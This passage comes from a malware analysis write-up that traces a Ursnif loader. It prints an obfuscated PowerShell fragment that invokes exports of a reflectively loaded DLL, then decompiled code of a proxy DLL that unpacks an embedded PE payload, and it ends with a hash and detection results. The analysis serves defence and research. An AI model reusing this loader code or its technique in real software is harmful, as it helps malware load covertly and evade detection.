$VoidSelf.Invoke($scriptPathPtr)
$VoidFunc.Invoke()
}
}
if (($ZpZeTj.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { [IntPtr]$Jskadx = Get-qRdmSS -PEHandle $PEHandle -FunctionName "kDVMjxaxZYsr" [IntPtr]$PathToSelf = Get-qRdmSS -PEHandle $PEHandle -FunctionName "setPath" $mPth = $global:scriptPath $scriptPathPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($mPth) if ($Jskadx -ne [IntPtr]::Zero) { $VoidFuncDelegate = Get-yMmHLP @() ([Bool]) $VoidFunc = $tVar::$pName.Invoke($Jskadx, $VoidFuncDelegate) $VoidSelfDelegate = Get-yMmHLP @([IntPtr]) ([Bool]) $VoidSelf = $tVar::$pName.Invoke($PathToSelf, $VoidSelfDelegate) $VoidSelf.Invoke($scriptPathPtr) $VoidFunc.Invoke() } }
		if (($ZpZeTj.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
		{
			[IntPtr]$Jskadx = Get-qRdmSS -PEHandle $PEHandle -FunctionName "kDVMjxaxZYsr"
			[IntPtr]$PathToSelf = Get-qRdmSS -PEHandle $PEHandle -FunctionName "setPath"

			$mPth = $global:scriptPath
			$scriptPathPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($mPth)

			if ($Jskadx -ne [IntPtr]::Zero)
			{
				$VoidFuncDelegate = Get-yMmHLP @() ([Bool])
				$VoidFunc = $tVar::$pName.Invoke($Jskadx, $VoidFuncDelegate)

				$VoidSelfDelegate = Get-yMmHLP @([IntPtr]) ([Bool])
				$VoidSelf = $tVar::$pName.Invoke($PathToSelf, $VoidSelfDelegate)
				$VoidSelf.Invoke($scriptPathPtr)
				$VoidFunc.Invoke()
			}		    
		}

It calls “kDVMjxaxZYsr” and “setPath”. These are also the only exported functions by the module.

Looking at the code of one of the exported functions, we can notice that it just calls an internal function pointer.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
void __fastcall setPath(void)
{
if (*(code **)0x180171460 != (code *)0x0) {
// WARNING: Could not recover jumptable at 0x00018000104c. Too many branches
// WARNING: Treating indirect jump as call
(**(code **)0x180171460)();
return;
}
return;
}
void __fastcall setPath(void) { if (*(code **)0x180171460 != (code *)0x0) { // WARNING: Could not recover jumptable at 0x00018000104c. Too many branches // WARNING: Treating indirect jump as call (**(code **)0x180171460)(); return; } return; }
void __fastcall setPath(void)
{
    if (*(code **)0x180171460 != (code *)0x0) {
        // WARNING: Could not recover jumptable at 0x00018000104c. Too many branches
        // WARNING: Treating indirect jump as call
        (**(code **)0x180171460)();
        return;
    }
    return;
}

Analyzing the code from the entry point, we see where the function pointer is resolved.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, "setPath");
*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, "setPath");
*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, "setPath");

Analyzing the code, we noticed that the module loads another module and then resolves the “kDVMjxaxZYsr” and “setPath” from it.

So the module acts just as a proxy to another module and forwards its exports to it.

To find the other module we just searched for the “MZ” string in the hex view. The third hit got us to an embedded PE.

We can, of course, just press Ctrl+E and load the embedded PE, but to be more accurate we first selected the data belonging to the PE. In fact, we know the size of the embedded PE from the following lines:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
void __fastcall initDLL(void)
{
uint64_t payload_base;
unk64_t payload_size;
payload_size = 0x169A00;
payload_base = 0x180007320;
allocSpecialMemory(100);
*(int64_t *)0x180171468 = internalLoad(&payload_base);
if (*(int64_t *)0x180171468 != 0) {
*(unk64_t *)0x180171458 = (*_GetProcAddress)(*(int64_t *)0x180171468, "dataCheck");
*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, "setPath");
}
return;
void __fastcall initDLL(void) { uint64_t payload_base; unk64_t payload_size; payload_size = 0x169A00; payload_base = 0x180007320; allocSpecialMemory(100); *(int64_t *)0x180171468 = internalLoad(&payload_base); if (*(int64_t *)0x180171468 != 0) { *(unk64_t *)0x180171458 = (*_GetProcAddress)(*(int64_t *)0x180171468, "dataCheck"); *(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, "setPath"); } return;
void __fastcall initDLL(void)
{
    uint64_t payload_base;
    unk64_t payload_size;
    
    payload_size = 0x169A00;
    payload_base = 0x180007320;
    allocSpecialMemory(100);
    *(int64_t *)0x180171468 = internalLoad(&payload_base);
    if (*(int64_t *)0x180171468 != 0) {
        *(unk64_t *)0x180171458 = (*_GetProcAddress)(*(int64_t *)0x180171468, "dataCheck");
        *(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, "setPath");
    }
    return;

Hence, we know that the size is 0x169A00 and we press Ctrl+G to select the data.

Now that the data is selected we can load it as an embedded object (Ctrl+E).

The embedded module indeed exports the actual functions which are being called by the proxy module.

The final module (SHA2-256: A41DEED7A7BC99F4B45490E4572114B8CC2DD11F2301D954A59DEE67FA3CCA63) is not obfuscated and can be analyzed.

In the screenshot we can see some anti-reversing checks.

We have uploaded the final payload to VirusTotal and this time more engines detected the threat, although only 28 out of 69.

The name of the malware appears to be “Ursnif”.

Leave a Reply

Your email address will not be published. Required fields are marked *